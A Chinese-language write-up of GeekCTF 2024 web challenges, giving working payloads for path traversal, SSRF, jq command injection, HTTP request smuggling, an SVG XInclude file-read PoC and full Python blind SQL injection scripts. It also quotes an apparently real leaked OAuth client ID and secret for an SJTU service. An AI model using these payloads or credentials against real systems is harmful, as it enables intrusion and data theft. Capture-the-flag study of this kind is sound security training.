经历了无数次爆零的比赛之后,终于做出来了几道题(哭
题目本身并没有想象的特别难,不过质量和创新点做的非常好。
最终rank:59
Secrets 一道关于字符串匹配的问题
打开网站,查看源码,看到了一串base85加密的数据,解个密看下,工作目录都给了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 . ├── app.py ├── assets │ ├── css │ │ ├── pico.amber.min .css │ │ ├── pico.azure.min .css │ │ ├── pico.blue.min .css │ │ ├── pico.cyan.min .css │ │ ├── pico.fuchsia.min .css │ │ ├── pico.green.min .css │ │ ├── pico.grey.min .css │ │ ├── pico.indigo.min .css │ │ ├── pico.jade.min .css │ │ ├── pico.lime.min .css │ │ ├── pico.orange.min .css │ │ ├── pico.pink.min .css │ │ ├── pico.pumpkin.min .css │ │ ├── pico.purple.min .css │ │ ├── pico.red.min .css │ │ ├── pico.sand.min .css │ │ ├── pico.slate.min .css │ │ ├── pico.violet.min .css │ │ ├── pico.yellow.min .css │ │ └── pico.zinc.min .css │ └── js │ ├── color-picker.js │ ├── home.js │ ├── jquery-3.7 .1 .min .js │ └── login.js ├── gunicorn_conf.py ├── populate.py ├── requirements.txt └── templates ├── base.html ├── index.html └── login.html
右上角有个更改颜色的按钮,随便选个抓个包看看,发现Cookie多了个asset
字段,内容为assets/css/pico.green.min.css
,正好与上面看到的文件路径保持一致,尝试读app.py
发现需要assets/css/
开头,../
绕过下:asset=assets/css/../../app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 import osfrom flask import ( Flask, jsonify, redirect, render_template, request, send_from_directory, session, )from flask_sqlalchemy import SQLAlchemyfrom sqlalchemy import text app = Flask( __name__, static_folder="assets/js" , template_folder="templates" , static_url_path="" ) app.config["SQLALCHEMY_DATABASE_URI" ] = "mysql+pymysql://ctf:114514@db/secrets" app.secret_key = os.environ.get("SECRET_KEY" , os.urandom(128 ).hex ()) app.url_map.strict_slashes = False db = SQLAlchemy(app)class Notes (db.Model): table_name = "notes" id = db.Column(db.Integer, primary_key=True ) title = db.Column(db.String(80 ), nullable=False ) message = db.Column(db.Text, nullable=False ) type = db.Column(db.String(80 ), nullable=False , default="notes" ) def __repr__ (self ): return f"<Note {self.message} >" @app.route("/" ) def index (): if not session.get("logged_in" ): return redirect("/login" ) with db.engine.connect() as con: character_set_database = con.execute( text("SELECT @@character_set_database" ) ).fetchone() collation_database = con.execute(text("SELECT @@collation_database" )).fetchone() assert character_set_database[0 ] == "utf8mb4" assert collation_database[0 ] == "utf8mb4_unicode_ci" type = request.args.get("type" , "notes" ).strip() if ("secrets" in type .lower() or "SECRETS" in type .upper()) and session.get( "role" ) != "admin" : return render_template( "index.html" , notes=[], error="You are not admin. Only admin can view secre<u>ts</u>." , ) q = db.session.query(Notes) q = q.filter (Notes.type == type ) notes = q.all () return render_template("index.html" , notes=notes)@app.route("/login" , methods=["GET" , "POST" ] ) def login (): if session.get("logged_in" ): return redirect("/" ) def isEqual (a, b ): return a.lower() != b.lower() and a.upper() == b.upper() if request.method == "GET" : return render_template("login.html" ) username = request.form.get("username" , "" ) password = request.form.get("password" , "" ) if isEqual(username, "alice" ) and isEqual(password, "start2024" ): session["logged_in" ] = True session["role" ] = "user" return redirect("/" ) elif username == "admin" and password == os.urandom(128 ).hex (): session["logged_in" ] = True session["role" ] = "admin" return redirect("/" ) else : return render_template("login.html" , error="Invalid username or password." )@app.route("/logout" ) def logout (): session.pop("logged_in" , None ) session.pop("role" , None ) return redirect("/" )@app.route("/redirectCustomAsset" ) def redirectCustomAsset (): asset = request.cookies.get("asset" , "assets/css/pico.azure.min.css" ) if not asset.startswith("assets/css/" ): return "Hacker!" , 400 return send_from_directory("" , asset)@app.route("/setCustomColor" ) def setCustomColor (): color = request.args.get("color" , "azure" ) if color not in [ "amber" , "azure" , "blue" , "cyan" , "fuchsia" , "green" , "grey" , "indigo" , "jade" , "lime" , "orange" , "pink" , "pumpkin" , "purple" , "red" , "sand" , "slate" , "violet" , "yellow" , "zinc" , ]: return jsonify({"error" : "Invalid color." }), 400 asset = f"assets/css/pico.{color} .min.css" return ( jsonify({"success" : asset}), 200 , {"Set-Cookie" : f"asset={asset} ; SameSite=Strict" }, ) if __name__ == "__main__" : app.run()
populate.py中写了flag在数据库secrets中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import osfrom app import Notes, app, dbwith app.app_context(): db.create_all() if not Notes.query.filter_by(type ="notes" ).first(): db.session.add(Notes(title="Hello, world!" , message="This is an example note." )) db.session.add( Notes( title="Where's flag?" , message="Flag is waiting for you inside secrets." , ) ) if not Notes.query.filter_by(type ="secrets" ).first(): db.session.add( Notes( title="Secret flag" , message=os.environ.get("FLAG" , "fake{flag}" ), type ="secrets" , ) ) db.session.commit()
首先需要登录,有一个匹配a.lower() != b.lower() and a.upper() == b.upper()
想到了nodejs
特性:Character.toUpperCase()函数,字 符ı会转变为I,字符ſ会变为S。
看了下发现py也可以,直接alıce和ſtart2024登录
接下来(“secrets” in type.lower() or “SECRETS” in type.upper())要保证既大写不相等且小写不等
最开始以为是要弄 一个upper变 一个lower变 的两个字符,fuzz了一下发现没有这种
后来网上找了一下看到数据库utf8mb4_unicode_ci匹配中会把一些奇怪的符号匹配为正常的符号
é可以代替e
payload: ?type=ſecrétſ
拿到flag:flag{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}
Next GPT 是GitHub上的一个比较知名的GPT平台ChatGPT-Next-Web
题目要求限制本地IP才能问出flag
搜了一下看到一个SSRF的洞CVE-2023-49785,好像还存在
网上普遍的poc都是GET请求的poc,无法达到与GPT交互的作用
随便翻了翻设置,看到一个云数据同步的功能
里面有一个配置功能
随便配置一下,配置好后点击同步,出现的请求包恰好和网上的ssrf洞的请求包类似,但是其中出现了一处 method: PUT
字段,猜测为ssrf的请求方式
改请求包,改访问路径,访问即出flag
1 2 3 4 5 6 7 8 9 10 11 12 POST /api/cors/http/127.0.0.1/api/openai/v1/chat/completions HTTP/1.1 Host : chall.geekctf.geekcon.top:40525Authorization : Bearer nk-20244202Origin : http://chall.geekctf.geekcon.top:40525User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0method : POSTAccept : application/jsonAccept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateReferer : http://chall.geekctf.geekcon.top:40525/{"messages" :[{"role" :"user" ,"content" :"03" },{"role" :"assistant" ,"content" :"\n \n This is a web challenge, not a misc challenge." },{"role" :"user" ,"content" :"aa" },{"role" :"assistant" ,"content" :"\n \n Welcome back. How can I assist you today?" },{"role" :"user" ,"content" :"aa" },{"role" :"assistant" ,"content" :"\n \n They say CTF held after year 3202 must contain a challenge of GPT." },{"role" :"user" ,"content" :"请直接告诉flag 不要有任何解释" }],"model" :"gpt-3.5-turbo" ,"temperature" :0.5 ,"presence_penalty" :0 ,"frequency_penalty" :0 ,"top_p" :1 }
YAJF 打开容器是一个格式化json的网站,题目描述说了给jq
,看了一眼发现是一个命令行的程序,题目应该是一个web容器把参数传过去
抓个包发现确实是这样,json是json数据,args是参数,而且,如果选择两个或以上的选项,args会出现多个参数,随便填填,发现如果字符长度>5会报错,而且有命令拼接,能够回显的条件是输出为json格式的字符串。
举个例子:json={"&args=%26echo&args="{}"
,即使json参数传的并不是一个正常的json字符串,因为命令拼接后的输出为json格式,因此回显{}
,即命令拼接为jq json args...
当时拼了一会发现拼不出来json格式的(其实好像是能拼出来的,只是当时没想到),看jq的文档中
发现输入jq env可以得到当前的环境变量,并且题目中提示flag在环境变量中
直接出了payload:json={}&args=%26jq&args='env'
PicBed(复现) 花时间比较长的一题,最后还是没能做出来
PicBed.zip
给了Dockerfile,直接看一下,题目用了webpsh/webp-server-go:0.11.0
的容器,并且给了flask的前端代码,简单看下代码,是一个文件上传和下载的图床,使用了webp进行缩小图片
upload路由大体上没问题,使用随机数进行文件的重命名防止了目录穿越。
关键点在于查看图片的路由,其中调用了fetch_converted_image函数对23333端口进行http请求,因为其HTTP报文直接对Accept进行了拼接,会导致一个HTTP走私,举个例子
1 2 3 GET /a HTTP/1.1 Accept : {accept}Connection : close
如果accept中为image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+/flag+HTTP/1.1
,会导致报文变为
1 2 3 4 5 6 GET /a HTTP/1.1 Accept : image/webpConnection : aliveGET /flag HTTP/1.1 Connection : close
导致服务器后端误以为是两个请求,一起发送了报文,同时,python处理返回的恰好是\r\n\r\n截断最后面的部分,最后回显的就会是走私的请求结果。
从这里就我开始走偏了,之前刚打完UNbreakable-ICTF-2024,其中一道题恰好使用了libsvg的漏洞 CVE-2023-38633 ,其poc为
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <svg width ="300" height ="300" xmlns:xi ="http://www.w3.org/2001/XInclude" > <rect width ="300" height ="300" style ="fill:rgb(255,204,204);" /> <text x ="0" y ="100" > <xi:include href =".?../../../../../../../etc/passwd" parse ="text" encoding ="ASCII" > <xi:fallback > file not found</xi:fallback > </xi:include > </text > </svg >
来对etc/passwd进行一个读取,而这题给的flag是flag.png,当时以为是要对图片进行一个包含,于是在docker上左调右调花了好多时间(关键是xml写不对那边还会有一个拒绝服务,导致每次都要重启容器)
回到正题,此题是一个CVE-2021-46104的变种,相关Issue 上有讨论,是一个go的目录穿越漏洞,其漏洞最早期可以直接使用../即可打通,后面加了一些处理,已经没法打通了。但这道题中,如果HTTP报文省略了开头的/,即GET ../../flag.png
,还是会导致一个目录穿越。这个的根源应该在于golangpath.Clean
的第四条 :如果HTTP报文中带/
时,这个路径就相当于一个根目录,而根目录后的..
会被自动清除。而如果不带/
,path.Clean
会认为这个是相对路径。同时,gofiber的path.go
也完全匹配了/*
,无论它是否为/
开头。
所以拿到flag步骤是这样,先提交随便一个图片,拿到随机的值,然后发包进行走私
1 2 3 4 GET /pics/2f41abe471e46c3b.jpg HTTP/1.1 Host : 127.0.0.1:23333Accept : image/webp%0d%0aConnection:+alive%0d%0a%0d%0aGET+../../flag.png+HTTP/1.1Connection : close
Oauth(复现) 最困惑的题目
打开站点,是一个普通的界面,其中OAuth Login会跳转到sjtu的认证页面,view note和note都会提示未登录,跳转到login,再跳转到oauth
html中存在sitemap.xml,里面可以找到一个code.php
访问它发现需要code参数,随便填一个有以下界面,此处log是粗体的,结合sitemap.xml,可以推断出还有一个/log路由
访问log路由,是一个管理员code的泄露,在sjtu jAccount网站可以看到是一个授权码,有效期为1分钟,认证模式为使用授权码-authorization-code-过程的-oidc-认证模式
带着code访问code.php,登录成功,提示flag为SSO name
想要找到SSO name,必须要有access_token,想要access_token,必须要有client_id、client_secret,以及我们上面刚刚得到的code
接下来思路没了,开始复现wp
原来是一个key的泄露,泄露在SJTUer/django/sjtuers/settings.py at master · young1881/SJTUer (github.com) 处
拿到JACCOUNT_CLIENT_ID = 'ZjpxY3dA6fpkp7o4kM0g'
,JACCOUNT_CLIENT_SECRET = 'CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079'
尝试获取access_token,可惜赛后已经无法复现了,大概报文如下,获取access_token
1 2 3 4 5 POST /oauth2/token HTTP/1.1 Host : jaccount.sjtu.edu.cnContent-Type : application/x-www-form-urlencodedgrant_type =authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=http%3 A%2 F%2 F{hostname}%2 Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079
返回结果直接jwt解密即可,或继续拿access_token对https://api.sjtu.edu.cn/v1/me/profile?access_token=
进行请求
官网wp还提到了一个非预期,即使用任意泄露client_id和client_secret组合串,都可以获取到access_token,很神奇。
SafeBlog1(复现) wp-scan扫一下,有一个NotificationX插件,插件存在CVE-2024-1698,一个sql盲注
需要搜索/抓包确认api的路径,不能直接用网上的payload。
因为对wordpress不熟悉,痛失一道题
直接给出官网payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport string delay = 5 url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" ans = "" table_name = "" column_name = "" session = requests.Session() for idx in range (1 ,1000 ): low = 32 high = 128 mid = (low+high)//2 while low < high: payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx} ,1))<{mid} ,SLEEP({delay} ),null)-- -" payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes (table_name,'UTF-8' ).hex ()} )),{idx} ,1))<{mid} ,SLEEP({delay} ),null)-- -" payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name} ))from({table_name} )),{idx} ,1))<{mid} ,SLEEP({delay} ),null)-- -" resp = session.post(url=url, data = { "nx_id" : 1337 , "type" : payload1 }) if resp.elapsed.total_seconds() > delay: high = mid else : low = mid+1 mid=(low+high)//2 if mid <= 32 or mid >= 127 : break ans += chr (mid-1 ) print (ans)
flag:flag{W0rdpr355_plu61n5_4r3_vuln3r4bl3}
遇到题一定要有耐心看下去
SafeBlog2(复现) 花时间最长的一道题,但还是没有做出来
SafeBlog2.zip
首先因为NODE_NDEBUG=1
可以直接忽视require('assert-plus')
接下来是/comment/like出有一个把所有参数都注入到查询语句的查询,这里有一个注入点
1 2 3 4 5 6 正常情况 ?post_id=1 db.all (`SELECT * FROM comments WHERE post_id = ?`, ["1"]); ?post_id=1 &inject=1 db.all (`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]); ?post_id=1 &%271 %27 +%3 D+%271 %27 +OR +%271 %27 =1 即post_id=1 & '1' = '1' OR '1' = 1 db.all (`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, ["1", "1"]);
注入方式:
1 SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ?
先写一堆形如____________a____...
、_____b__________...
的评论,然后执行上述语句,查看哪个like增加
给出最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requestsimport threadingimport re url = "http://c4b2vk76v4jj6gy2.instance.chall.geekctf.geekcon.top:18080" hexchars = "0123456789abcdef" def new_comment (char ): for p in range (32 ): requests.get(url + "/comment/new" , params={ "post_id" : '1' , "name" : "a" , "content" : "_" * p + char + "_" * (31 -p) }, allow_redirects=False ) thread=[]for c in hexchars: t = threading.Thread(target=new_comment, args=(c,)) thread.append(t) t.start()for t in thread: t.join()print ("评论添加完成!" ) times = 0 def find_flag (): global times times += 1 requests.get(url + "/comment/like/" , params={ "post_id" : '1' , "'1' = '1' AND (SELECT password from admins) LIKE content AND '1'" : "1" }, allow_redirects=False ) res = requests.get(url + "/post/1" ).text ans = [ p.partition("</li>" )[0 ][90 :][:32 ] for p in res.split("<li>" ) if "{} Likes" .format (times) in p ] sorted (ans) passwd = "" for i in range (32 ): for j in range (32 ): if ans[i][j] != "_" : passwd += ans[i][j] break print ("密码为:" ,passwd) res = requests.get(url + "/admin" , params={ "username" : "admin" , "password" : passwd }) return reswhile True : print (times) res = find_flag() if "flag" in res.text: print ("flag:" , re.findall("flag{.*?}" , res.text)[0 ]) break
flag: flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}
md回头一看也不是特别难啊,主要是当时看了一眼就直接拿主机调nodejs了,没搭docker导致comment处无法注入,不过话说我拿win机cmd直接输入npm start为啥注入不了呢,好奇怪,下次一定记得搭docker(血的教训)
ECommerce(复现) 没怎么看的一道题
打开网站是一个登录界面,登录抓个包看看,发现Graphql请求
1 2 3 4 5 6 7 8 9 mutation MyMutation { tokenCreate (email : "admin" , password : "123456" ) { errors { code message } token } }
根据渗透测试之graphQL_graphql 漏洞 ,通过IntrospectionQuery 可以查询到其中的全部信息
1 {"query" :"\n query IntrospectionQuery {\r \n __schema {\r \n queryType { name }\r \n mutationType { name }\r \n subscriptionType { name }\r \n types {\r \n ...FullType\r \n }\r \n directives {\r \n name\r \n description\r \n locations\r \n args {\r \n ...InputValue\r \n }\r \n }\r \n }\r \n }\r \n \r \n fragment FullType on __Type {\r \n kind\r \n name\r \n description\r \n fields(includeDeprecated: true) {\r \n name\r \n description\r \n args {\r \n ...InputValue\r \n }\r \n type {\r \n ...TypeRef\r \n }\r \n isDeprecated\r \n deprecationReason\r \n }\r \n inputFields {\r \n ...InputValue\r \n }\r \n interfaces {\r \n ...TypeRef\r \n }\r \n enumValues(includeDeprecated: true) {\r \n name\r \n description\r \n isDeprecated\r \n deprecationReason\r \n }\r \n possibleTypes {\r \n ...TypeRef\r \n }\r \n }\r \n \r \n fragment InputValue on __InputValue {\r \n name\r \n description\r \n type { ...TypeRef }\r \n defaultValue\r \n }\r \n \r \n fragment TypeRef on __Type {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n ofType {\r \n kind\r \n name\r \n }\r \n }\r \n }\r \n }\r \n }\r \n }\r \n }\r \n }\r \n " ,"variables" :null }
使用graphiql/examples/graphiql-cdn/index.html at main · graphql/graphiql 打开,有了docs和api
对其中shop字段name进行请求,得到Saleor e-commerce
GitHub直接能搜到Saleor Commerce ,这里引用官方wp的一张图来描述其架构
下载前端saleor/storefront ,将.env处填入后端地址,npm run dev直接跑起来
随便找找发现about
根据hint1在之前的IntrospectionQuery 返回包可以找到flag1:Channel-specific tax configuration.\n\nAdded in Saleor 3.9.🎉 Congratulations! You find flag part 1: ZmxhZ3s5ckBQSH 🎉
根据hint2,在之前的graphql中搜product,其中seoDescription有flag2:🎉 Congratulations! You find flag part 2: ExX0BQIV8zWH🎉
1 2 3 4 5 6 query MyQuery { product (channel: "default-channel" , slug: "the-dash-cushion" ) { seoTitle seoDescription } }
接下来是网站存在源代码泄露,原网站src/pages/index.tsx中存在邮箱david@deepshop.co
,配合弱口令123456可以直接登录(神奇的思路,看官方wp原来是作者自己加的)
继续本地部署saleor/saleor-dashboard ,仍然以david登录,在 customer 里抓包有hint3和hint4(可能是版本的问题,从这里开始我复现得都非常艰难)
根据hint3,在Order中找到订单,抓包发现isgift字段不存在,去掉isgift重新发包,拿到flag3:🎉 Congratulations! You find flag part 3: AwNWU1X0VcL🎉
根据hint4,在 Translations - Chinese - Menu Items - GraphQL API 中找到flag4:🎉 Congratulations! You find flag part 4: zNyWStoSU45fQ==🎉
base64解码,出来flag:flag{9r@PHq1_@P!_3Xp05e5_E\/3rY+hIN9}
总算复现出来了,光是复现就花了我好长时间,一道很新颖的渗透题